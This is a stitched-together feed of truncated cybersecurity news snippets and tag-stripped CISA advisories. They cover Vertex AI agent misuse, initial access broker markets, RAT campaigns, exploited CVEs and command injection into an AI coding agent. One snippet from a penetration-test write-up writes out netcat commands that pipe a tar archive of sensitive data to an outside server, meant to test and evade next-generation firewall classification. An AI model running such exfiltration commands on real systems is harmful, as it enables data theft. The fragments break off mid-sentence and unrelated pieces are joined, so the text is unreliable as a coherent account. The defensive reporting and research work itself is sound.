Cybersecurity researchers have disclosed a security "blind spot" in Google Cloud's Vertex AI platform that could allow artificial intelligence (AI) agents to be weaponized by an attacker to gain unauthorized access to sensitive data and compromise an organization's cloud environment. According to Palo Alto Networks Unit 42, the issue relates to how the Vertex AI permission model can be misused
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Initial Access Brokers (IABs) are a key component of the cybercrime ecosystem, offering hassle-free building blocks for ransomware, data theft, and extortion. Rapid7’s analysis of H2 2025 activity across five major forums grants fresh insight into a power balance shift toward initial access sales from newer marketplaces, such as RAMP and DarkForums. Higher asking prices and more focus on high-value sectors and large organizations, such as Government, Retail, and IT, reveal a mature and profit-focused IAB market. This blog highlights key access trends and pricing, pinpoints the most targeted industries and regions, and gives actionable recommendations for identifying and isolating potential breaches via popular IAB offerings. Key findings Our detailed analysis of six months of data from Exploit, XSS, BreachForums, DarkForums, and RAMP reveals the following key findings: Access prices and target organization size increased dramatically: The average alleged victim revenue and offering base price have increased significantly compared to the previous year, indicating that IABs are targeting larger, higher-value enterprises and charging premium prices for quality access. Primary access vectors haven’t changed: RDP, VPN, and RDWeb remain the top access vectors being offered for sale, which means that remote access infrastructure is still the primary attack surface for initial access sales. High-privilege access is increasingly prioritized: Most common privilege levels being offered by IABs are Domain User (42.9%), Domain Admin (32.1%), and Local Admin (12.5%), with a visible decline in lower-privilege offerings, such as Local User privileges. It seems the market is shifting from volume to high-impact access that enables faster and more efficient malicious operations, such as ransomware and extortion attacks. Certain underground marketplaces have become favored over others: DarkForums (221 threads) and RAMP (208 threads) were the most active forums for initial access sales in H2 2025, accounting together for 81% of the observed threads. At the same time, older, historically dominant forums such as XSS and Exploit saw significant declines in IAB activity. IABs target specific industries: IAB activity is primarily concentrated on sectors offering the highest potential for financial gain or intelligence acquisition: Government, Retail, and Information Technology (IT). Focus on government access: The Government sector is the most frequently targeted industry vertical, at 14.2% (Retail and Information Technology follow with 13.1% and 10.8%, respectively). 'Admin panel' access is the most commonly observed type offered for this sector, with DarkForums serving as the principal platform for its sale. IAB and cybercrime forum landscape in 2026 Just as in 2025, cybercriminal forums continue to serve as the primary marketplaces for the promotion and sale of pirated network access. Platforms such as Exploit, BreachForums, XSS, DarkForums, and RAMP have remained cent
p a href= https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-090-01.json strong View CSAF /strong /a /p h2 Summary /h2 p strong Successful exploitation of this vulnerability could allow attackers with network access to alter operational settings, obtain sensitive signal data, or disrupt device availability. /strong /p p The following versions of Anritsu Remote Spectrum Monitor are affected: /p ul li Remote Spectrum Monitor MS27100A vers:all/* (CVE-2026-3356) /li li Remote Spectrum Monitor MS27101A vers:all/* (CVE-2026-3356) /li li Remote Spectrum Monitor MS27102A vers:all/* (CVE-2026-3356) /li li Remote Spectrum Monitor MS27103A vers:all/* (CVE-2026-3356) /li /ul div class= csaf-table table class= tablesaw tablesaw-stack data-tablesaw-mode= stack data-tablesaw-minimap thead tr th role= columnheader data-tablesaw-priority= persist CVSS /th th role= columnheader Vendor /th th role= columnheader Equipment /th th role= columnheader Vulnerabilities /th /tr /thead tbody tr td v3 9.8 /td td Anritsu /td td Anritsu Remote Spectrum Monitor /td td Missing Authentication for Critical Function /td /tr /tbody /table /div h3 Background /h3 ul li strong Critical Infrastructure Sectors: /strong Communications, Defense Industrial Base, Emergency Services, Transportation Systems /li li strong Countries/Areas Deployed: /strong Worldwide /li li strong Company Headquarters Location: /strong Japan /li /ul hr h2 Vulnerabilities /h2 div class= csaf-accordion p a class= csaf-accordion-toggle-all href= # Expand All + /a /p div class= csaf-accordion-item h3 a class= csaf-accordion-toggle href= # CVE-2026-3356 /a /h3 div class= csaf-accordion-content p The MS27102A Remote Spectrum Monitor is vulnerable to an authentication bypass that allows unauthorized users to access and manipulate its management interface. Because the device provides no mechanism to enable or configure authentication, the issue is inherent to its design rather than a deployment error. /p p a href= https://www.cve.org/CVERecord?id=CVE-2026-3356 View CVE Details /a /p hr h4 Affected Products /h4 h5 Anritsu Remote Spectrum Monitor /h5 div class= ics-vendor-version-status div class= ics-vendor strong Vendor: /strong br Anritsu /div div class= ics-version strong Product Version: /strong br Anritsu Remote Spectrum Monitor MS27100A: vers:all/*, Anritsu Remote Spectrum Monitor MS27101A: vers:all/*, Anritsu Remote Spectrum Monitor MS27102A: vers:all/*, Anritsu Remote Spectrum Monitor MS27103A: vers:all/* /div div class= ics-status strong Product Status: /strong br known_affected /div /div div class= ics-remediations h6 Remediations /h6 p strong Mitigation /strong br Anritsu has no plans to fix this issue. Anritsu recommends that users deploy Remote Spectrum Monitor within secure network environments to mitigate potential risks. /p p strong Mitigation /strong br Users can contact Anritsu Technical Support (1-800-267-4878) for more information. /p /div p strong Relevant CWE: /strong a hre
p a href= https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-090-02.json strong View CSAF /strong /a /p h2 Summary /h2 p strong Successful exploitation of this vulnerability could allow an attacker with access to the MAVLink interface to execute arbitrary shell commands without cryptographic authentication. /strong /p p The following versions of PX4 Autopilot are affected: /p ul li Autopilot v1.16.0_SITL_latest_stable (CVE-2026-1579) /li /ul div class= csaf-table table class= tablesaw tablesaw-stack data-tablesaw-mode= stack data-tablesaw-minimap thead tr th role= columnheader data-tablesaw-priority= persist CVSS /th th role= columnheader Vendor /th th role= columnheader Equipment /th th role= columnheader Vulnerabilities /th /tr /thead tbody tr td v3 9.8 /td td PX4 /td td PX4 Autopilot /td td Missing Authentication for Critical Function /td /tr /tbody /table /div h3 Background /h3 ul li strong Critical Infrastructure Sectors: /strong Transportation Systems, Emergency Services, Defense Industrial Base /li li strong Countries/Areas Deployed: /strong Worldwide /li li strong Company Headquarters Location: /strong Switzerland /li /ul hr h2 Vulnerabilities /h2 div class= csaf-accordion p a class= csaf-accordion-toggle-all href= # Expand All + /a /p div class= csaf-accordion-item h3 a class= csaf-accordion-toggle href= # CVE-2026-1579 /a /h3 div class= csaf-accordion-content p The MAVLink communication protocol does not require cryptographic authentication by default. When MAVLink 2.0 message signing is not enabled, any message -- including SERIAL_CONTROL, which provides interactive shell access -- can be sent by an unauthenticated party with access to the MAVLink interface. PX4 provides MAVLink 2.0 message signing as the cryptographic authentication mechanism for all MAVLink communication. When signing is enabled, unsigned messages are rejected at the protocol level. /p p a href= https://www.cve.org/CVERecord?id=CVE-2026-1579 View CVE Details /a /p hr h4 Affected Products /h4 h5 PX4 Autopilot /h5 div class= ics-vendor-version-status div class= ics-vendor strong Vendor: /strong br PX4 /div div class= ics-version strong Product Version: /strong br PX4 Autopilot: v1.16.0_SITL_latest_stable /div div class= ics-status strong Product Status: /strong br known_affected /div /div div class= ics-remediations h6 Remediations /h6 p strong Mitigation /strong br PX4 recommends enabling MAVLink 2.0 message signing as the authentication mechanism for all non‑USB communication links. PX4 has published a security hardening guide for integrators and manufacturers at https://docs.px4.io/main/en/mavlink/security_hardening. br a href= https://docs.px4.io/main/en/mavlink/security_hardening https://docs.px4.io/main/en/mavlink/security_hardening /a /p p strong Mitigation /strong br Message signing configuration documentation can be found at https://docs.px4.io/main/en/mavlink/message_signing. br a href= https://docs.px4.io/main/en/mavlink/message_si
The cybersecurity landscape is accelerating at an unprecedented rate. What is emerging is not simply a rise in the number of vulnerabilities or tools, but a dramatic increase in speed. Speed of attack, speed of exploitation, and speed of change across modern environments. This is the defining challenge of the new era of digital warfare: the weaponization of Artificial Intelligence. Threat actors
Chinese-speaking users are the target of an active campaign that uses typosquatted domains impersonating trusted software brands to deliver a previously undocumented remote access trojan named AtlasCross RAT. "The operation covers VPN clients, encrypted messengers, video conferencing tools, cryptocurrency trackers, and e-commerce applications, with eleven confirmed delivery domains impersonating
F5 BIG-IP APM flaw CVE-2025-53521 escalates to critical 9.8 RCE, actively exploited. Patch now, check IoCs, and secure vulnerable systems immediately.
In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, ). While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this hole in the firewall. What I did, I tried to exfiltrate data through this port. It s easy: Simulate a server controlled by a threat actor: root@attacker:~# nc -l -p 12345 /tmp/victim.tgz And, from a server on the victim s network: root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345 It worked but the data transfer failed after approximatively ~5KB of data sent weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port. Note : What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any next-generation firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use Application Control . App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222). The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked. In terms of data volume, there s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking: 1 KB (or just handshake packets): almost always insufficient likely unknown or very generic classification ~1 5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection) ~5 10+ KB: much higher confidence, especially for encrypted or complex applications That s why my attempts to exfiltrate data were all blocked after ~5KB. Can we bypass this? Let s try the following scenario: On t
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OpenAI Codex vulnerability allowed attackers to steal GitHub tokens via malicious branch names using hidden Unicode command injection flaw.
15-year-old strongSwan flaw allows attackers to crash VPNs via integer underflow bug, affecting EAP-TTLS plugin and multiple versions worldwide.
Red teaming has always played a role in testing defenses, but in 2026 its role is changing. Security teams are no longer asking whether an attacker can get in. That question has already been answered. The real challenge is whether teams can detect, validate, and respond before an incident escalates. That shift sits at the center of this year’s Rapid7 Global Cybersecurity Summit , taking place on May 12-13. As part of the Continuous Threat Defense pillar, the summit will explore red teaming not as a standalone exercise, but as a core input into how modern security operations function day to day. From validation to continuous feedback In sessions like Using Red Teaming to Power Preemptive MDR , the focus moves away from point-in-time testing and toward becoming part of a continuous feedback loop. Detection logic is tested against real attacker techniques and gaps are exposed before they become incidents. Response workflows are refined in conditions that reflect how attacks actually unfold, rather than how they are expected to behave. This represents a clear shift from traditional engagements. Instead of producing a static report, red teaming feeds directly into detection engineering and MDR operations. Many teams still rely on assumptions about coverage, but those assumptions often break down under pressure. Continuous validation helps close that gap. Aligning red teaming with how attacks really happen Modern attacks rarely follow a clean path. They move across identity, cloud, and endpoint, taking advantage of timing, visibility gaps, and delayed decisions. Red teaming has to reflect that reality. At the summit, the conversation connects adversary behavior with how detection and response teams operate in practice. This includes how signals are correlated across environments, how escalation decisions are made, and where teams lose time during an investigation. The goal is not to simulate attacks for the sake of it, but to understand how those attacks would be detected, prioritized, and contained in a real environment. Why red teaming matters now The move toward preemptive security operations depends on confidence. Teams need to know that what they have built will hold up when it matters. Red teaming supports that by grounding security programs in evidence. It shows what works, highlights what does not, and gives teams an opportunity to improve before a live incident forces change. This becomes even more important as organizations adopt MDR models, integrate AI into workflows, and operate across increasingly complex environments. Without continuous validation, complexity creates blind spots that are difficult to see until it is too late. Rapid7's Cybersecurity Summit: A preview of what’s to come Red teaming is one part of a broader shift happening across the summit. Sessions across detection, response, AI, and exposure management all point in the same direction: Security operations must move earlier in the attack lifecycle, reduce noise, improve pri
Tax-season phishing floods deliver RMM malware, credential theft, BEC and tax-form scams
AI SOC agents can reduce alert fatigue, but most teams fail to measure real outcomes. Prophet Security breaks down Gartner's questions for evaluating AI SOC agents and separating real impact from hype. [...]
Some weeks are loud. This one was quieter but not in a good way. Long-running operations are finally hitting courtrooms, old attack methods are showing up in new places, and research that stopped being theoretical right around the time defenders stopped paying attention. There's a bit of everything this week. Persistence plays, legal wins, influence ops, and at least one thing that looks boring
Cybersecurity researchers have discovered a remote access toolkit of Russian-origin that's distributed via malicious Windows shortcut (LNK) files that are disguised as private key folders. The CTRL toolkit, according to Censys, is custom-built using .NET and includes various executables" to facilitate credential phishing, keylogging, Remote Desktop Protocol (RDP) hijacking, and reverse tunneling
p CISA has added one new vulnerability to its a href= /known-exploited-vulnerabilities-catalog data-entity-type= node data-entity-uuid= 79453b83-86b9-4e2f-b1ec-abf73c6eb291 data-entity-substitution= canonical title= Known Exploited Vulnerabilities Catalog Known Exploited Vulnerabilities (KEV) Catalog /a , based on evidence of active exploitation. /p ul li a href= https://www.cve.org/CVERecord?id=CVE-2026-3055 target= _blank CVE-2026-3055 /a Citrix NetScaler Out-of-Bounds Read Vulnerability /li /ul p This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise. /p p a href= https://www.cisa.gov/binding-operational-directive-22-01 Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities /a established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the a href= https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf BOD 22-01 Fact Sheet /a for more information. /p p Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of a href= /known-exploited-vulnerabilities-catalog data-entity-type= node data-entity-uuid= 79453b83-86b9-4e2f-b1ec-abf73c6eb291 data-entity-substitution= canonical title= Known Exploited Vulnerabilities Catalog KEV Catalog vulnerabilities /a as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the a href= /known-exploited-vulnerabilities data-entity-type= node data-entity-uuid= f2adba9a-0404-494c-a90c-4363a4a5c934 data-entity-substitution= canonical title= Reducing the Significant Risk of Known Exploited Vulnerabilities specified criteria /a . nbsp; /p
Secrets sprawl isn't slowing down: in 2025, it accelerated faster than most security teams anticipated. GitGuardian's State of Secrets Sprawl 2026 report analyzed billions of commits across public GitHub and uncovered 29 million new hardcoded secrets in 2025 alone, a 34% increase year over year and the largest single-year jump ever recorded. This year's findings reveal three core trends: AI has
Researchers from watchTowr and Defused have found evidence that attackers are actively exploiting CVE-2026-3055, a critical NetScaler vulnerability
Attackers are now actively exploiting a critical vulnerability in Fortinet's FortiClient EMS platform, according to threat intelligence company Defused. [...]